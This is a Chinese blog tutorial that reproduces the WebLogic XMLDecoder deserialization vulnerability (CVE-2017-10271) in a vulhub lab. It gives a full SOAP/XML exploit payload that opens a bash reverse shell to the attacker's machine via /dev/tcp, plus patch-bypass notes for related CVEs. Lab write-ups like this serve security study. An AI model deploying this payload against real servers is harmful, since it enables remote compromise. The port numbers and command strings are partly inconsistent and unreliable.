WebLogic-XMLDecoder(CVE-2017-10271)反序列化漏洞分析及复现

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1前言

0x2 漏洞原理及介绍

1、weblogic简介

2、XMLEncoder&XMLDecoder简介

0x3 漏洞复现

1、基于IDEA代码复现

2、基于vulhub漏洞复现

 Weblogic XMLDecoder漏洞对比

漏洞搭建环境:

0x4 weblogic XMLDecoder 漏洞POC详解


0x1前言

下面的内容主要是给师傅们介绍和讲解下weblogic XMLDecoder漏洞,这个漏洞有很多个版本,有多个cve漏洞,这里我主要从基于IDEA和vulhun环境搭建来给师傅们复现下这个weblogic XMLDecoder漏洞。复现完成的师傅们,要是基础还可以,学过Java代码的可以尝试掌握下这个漏洞的POC构造,这个是底层代码原理,比较难,小白的话把漏洞原理以及漏洞复现完成即可!!!

0x2 漏洞原理及介绍

1、weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、XMLEncoder&XMLDecoder简介

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。说直白点XMLDecoder就是用来解析XML文档的。

0x3 漏洞复现

1、基于IDEA代码复现

我们需要准备两个Java代码,一个是XmlDecoder.java,另一个是poc.xml两个代码文件,其具体内容如下:

1、先新建一个叫做XmlDecoder.java的代码文件,需要注意的是代码中poc.xml的位置

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class XmlDecoder {public static void main(String[] args) throws FileNotFoundException {XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("E:/tool/IDEA-java/java代码/routing/src/pom.xml")));Object result = d.readObject();d.close();}
}

2、再新建一个叫做poc.xml的代码文件,这里是到时候运行XmlDecoder.java文件,然后poc.xml代码执行了java.lang.ProcessBuilder("calc").start()的操作,也就是弹出本地计算器来。

要是MAC的笔记本,需要把”calc“改成”open -a Calculator“

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1" ><void index="0"><string>calc</string></void></array><void method="start"/></object>
</java>

3、执行XmlDecoder.java代码文件:

至此这里简单的XmlDecoder漏洞就复现完成了。

2、基于vulhub漏洞复现

有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差异主要在于出问题的包、黑名单过滤的标签,这里进行一下对比。

 Weblogic XMLDecoder漏洞对比
漏洞编号影响版本补丁/绕过
CVE-2017-350610.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2补丁过滤了object标签,可用void标签绕过
CVE-2017-1027110.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2补丁过滤了new,method标签,且void后面只能跟index,array后面可以跟class,前提是bytes类型
CVE-2019-272510.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0黑名单禁用了class标签,可用<array method =“forName"> 绕过
CVE-2019-272910.3.6.0 12.1.3.0 12.2.1.3

漏洞搭建环境:

ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞

kali : IP地址 10.10.10.128 用于接收ubantu的反弹shell

我们启动环境前,先要到vulhub指定的漏洞位置/vulhub/weblogic/CVE-2017-10271目录下,然后执行下面的命令,这个靶场环境内存较大,所以启动的时候很慢,耐心等待下。

出现done关键字,那么说明环境启动成功了。

docker-compose up -d

查看这个环境的具体详细信息:

docker ps -a

访问这个IP+7001端口,出现下面的404界面,说明我们成功访问到了这个靶机的环境页面

第一步:weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,我们这里选择/wls-wsat/CoordinatorPortType路径:

第二步:把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:

第三步:把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听6666端口,用于接收反弹shell:

第四步:改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。在请求体中添加如下XML格式的poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.10.10.128/4444 0&gt;&amp;1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header>  <soapenv:Body/> 
</soapenv:Envelope>

完整的请求包如下,需要注意下面的这两个地方,首先要把Content-Type修改为text/xml ,IP和端口改成自己开始利用kali监听的IP和端口:

第五步:改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,查看kali也发现反弹shell已经成功了,说明漏洞利用成功了。

把docker容器的镜像文件关闭,然后删除,至此我们的weblogic XMLDecoder漏洞就复现成功了。

root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID   IMAGE                           COMMAND              CREATED          STATUS          PORTS                                                 NAMES
ca19ed26fee8   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   49 minutes ago   Up 49 minutes   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2017-10271_weblogic_1
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker stop ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker rm ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271#

0x4 weblogic XMLDecoder 漏洞POC详解

这里参考红队大佬的poc代码构造解析,恶意的XML数据如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.10.10.128/4444 0&gt;&amp;1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header>  <soapenv:Body/> 
</soapenv:Envelope>

java标签

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

<java class="java.beans.XMLDecoder">

object标签

通过 <object> 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。

<object class="java.lang.ProcessBuilder">

array标签/void标签

<array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
</array>

通过 <array> 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'
str[1] = '-c' 
str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码,否则解析XML的时候将出现格式错误 。

<void method="start"></void>

void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/308091.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习——自动驾驶

本章我们主要学习以下内容: 阅读自动驾驶论文采集数据根据论文搭建自动驾驶神经网络训练模型在仿真环境中进行自动驾驶 论文介绍 本文参考自2016年英伟达发表的论文《End to End Learning for Self-Driving Cars》 📎end2end.pdf

【opencv】示例-npr_demo.cpp 非真实感渲染:边缘保留平滑、细节增强、铅笔素描/彩色铅笔绘图和风格化处理...

Edge Preserve Smoothing- Using Normalized convolution Filter Edge Preserve Smoothing-Using Recursive Filter Detail Enhancement Pencil sketch/Color Pencil Drawing Stylization /* * npr_demo.cpp * * 作者: * Siddharth Kherada <siddharthkherada27[at]gmail[do…

基于Python的深度学习的中文情感分析系统(V2.0),附源码

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

海洋信息管理系统:守护蓝色星球,促进海洋经济新发展

海洋&#xff0c;覆盖地球表面超过七成的广阔水域&#xff0c;是生命之源&#xff0c;也是经济发展的重要空间。然而&#xff0c;随着人类活动的增加&#xff0c;海洋生态环境面临严峻挑战&#xff0c;海洋资源的可持续利用成为全球关注的焦点。在这样的背景下&#xff0c;构建…

Mac 下 Python+Selenium 自动上传西瓜视频

背景 研究下 PythonSelenium 自动化测试框架&#xff0c;简单实现 Mac 下自动化批量上传视频西瓜视频并发布&#xff0c;分享给需要的同学&#xff08;未做过多的异常处理&#xff09;。 脚本实现 首先通过手工手机号登录&#xff0c;保存西瓜视频网站的 cookie 文件 之后加载…

【心路历程】初次参加蓝桥杯实况

送给大家一句话&#xff1a; 寂静的光辉平铺的一刻&#xff0c;地上的每一个坎坷都被映照得灿烂。 – 史铁生 《我与地坛》 初次参加蓝桥杯有感 一点小小的震撼难评的做题过程A题 艺术与篮球问题描述解题 B 题 五子棋问题描述解题 C题 训练士兵问题描述解题 D题 团建解题 E题 …

聊一聊一些关于npm、pnpm、yarn的事

前言 整理了最近的闲聊&#xff0c;话题是前端各个包管理器&#xff0c;如果分享的不对或者有异议的地方&#xff0c;麻烦请及时告诉我~ 耐心看完&#xff0c;也许你会有所收获~ 概述 本文阅读时间&#xff1a;10-15分钟左右&#xff1b; 难度&#xff1a;初级&#xff0c…

人工智能|机器学习——基于机器学习的信用卡办卡意愿模型预测项目

一、背景介绍 在金融领域&#xff0c;了解客户的信用卡办卡意愿对于银行和金融机构至关重要。借助机器学习技术&#xff0c;我们可以根据客户的历史数据和行为模式预测其是否有办理信用卡的倾向。本项目通过Python中的机器学习库&#xff0c;构建了两个常用的分类模型&#xff…

13 Php学习:面向对象

PHP 面向对象 面向对象&#xff08;Object-Oriented&#xff0c;简称 OO&#xff09;是一种编程思想和方法&#xff0c;它将程序中的数据和操作数据的方法封装在一起&#xff0c;形成"对象"&#xff0c;并通过对象之间的交互和消息传递来完成程序的功能。面向对象编…

【DL水记】循环神经网络RNN的前世今生,Transformer的崛起,Mamba模型

文章目录 RNN网络简介传统RNN网络结构RNN的分类 长-短期记忆网络 (LSTM)GRU网络横空出世的Transformer网络Self-AttentionVisionTransformer Mamba模型Reference: RNN网络简介 “当人类接触新事物时&#xff0c;他们不会从头开始思考。就像你在阅读这篇文章时&#xff0c;你会根…

Day19-【Java SE进阶】网络编程

一、网络编程 1.概述 可以让设备中的程序与网络上其他设备中的程序进行数据交互(实现网络通信的)。java.net,*包下提供了网络编程的解决方案! 基本的通信架构 基本的通信架构有2种形式:CS架构(Client客户端/Server服务端)、BS架构(Browser浏览器/Server服务端)。 网络通信的…

测试开发场景问题,购物车测试场景

功能测试&#xff1a; a. 验证能否成功将商品添加到购物车。 b. 验证能否成功从购物车中移除商品。 c. 更新购物车中商品数量&#xff1a; d. 测试目标&#xff1a;验证能否成功更新购物车中商品的数量。 e. 验证能否成功清空购物车中的所有商品。 f. 验证能否成功结算购物车中…

视频批量高效剪辑,支持将视频文件转换为音频文件,轻松掌握视频格式

在数字化时代&#xff0c;视频内容日益丰富&#xff0c;管理和编辑这些视频变得愈发重要。然而&#xff0c;传统的视频剪辑软件往往操作复杂&#xff0c;难以满足高效批量处理的需求。现在&#xff0c;一款全新的视频批量剪辑神器应运而生&#xff0c;它支持将视频文件一键转换…

【fastapi】搭建第一个fastapi后端项目

本篇文章介绍一下fastapi后端项目的搭建。其实没有什么好说的&#xff0c;按照官方教程来即可&#xff1a;https://fastapi.tiangolo.com/zh/ 安装依赖 这也是我觉得python项目的槽点之一。所有依赖都安装在本地&#xff0c;一旦在别人电脑上编写项目就又要安装一遍。很扯淡。…

【CTF】ciscn_2019_n_1和pwn1_sctf_2016--栈溢出

ciscn_2019_n_1和pwn1_sctf_2016–栈溢出 ciscn_2019_n_1 解题思路 下载样本到本地 使用file和checksec查看文件内容&#xff0c;文件为64位ELF&#xff0c;只开启了NX保护&#xff0c;NX即No-eXecute&#xff08;不可执行&#xff09; 使用IDA进行反编译 在main函数中调用了f…

蓝桥杯基础18——第13届省赛真题与代码详解

目录 0.心得体会 1.题目如下 2.代码实现的思路 键值扫描 数码管窗口切换 数码管的动态扫描 继电器工作时L3闪烁&#xff0c;整点时刻L1灯光亮5秒 3.变量列表 定义的常量和数组 功能控制和状态变量 定时器和计数变量 4.代码参考 4.1 头文件 onewire.h ds1302.h 4…

C++高级特性:万能引用、引用折叠与完美转发(七)

1、万能引用与引用折叠 1.1、普通引用 之前的学习中学习了左值、右值、左值引用、右值引用、常引用等&#xff0c;但是很可惜它们都必须搭配固定的类型导致它们受到一些限制 void test1() {int a 1, b 2;int& left_ref_var a; // int&& right_ref_var a; …

[MAUI]集成富文本编辑器Editor.js至.NET MAUI Blazor项目

文章目录 获取资源从源码构建从CDN获取获取扩展插件 创建项目创建控件创建Blazor组件初始化保存销毁编写渲染逻辑 实现只读/编辑功能切换模式获取只读模式状态响应切换事件 实现明/暗主题切换项目地址 Editor.js 是一个基于 Web 的所见即所得富文本编辑器&#xff0c;它由CodeX…

自定义滚动条样式:前端实现跨浏览器兼容

&#x1f31f; 前言 欢迎来到我的技术小宇宙&#xff01;&#x1f30c; 这里不仅是我记录技术点滴的后花园&#xff0c;也是我分享学习心得和项目经验的乐园。&#x1f4da; 无论你是技术小白还是资深大牛&#xff0c;这里总有一些内容能触动你的好奇心。&#x1f50d; &#x…

【核心完整复现】基于目标级联法的微网群多主体分布式优化调度

1 主要内容 之前发布了华电学报的复现程序《基于目标级联法的微网群多主体分布式优化调度》&#xff0c;具体链接为【防骗版】基于目标级联法的微网群多主体分布式优化调度&#xff0c;虽然对模型及结果进行了复现&#xff0c;但是部分模型细节和参数并没有完全实现&#xff0…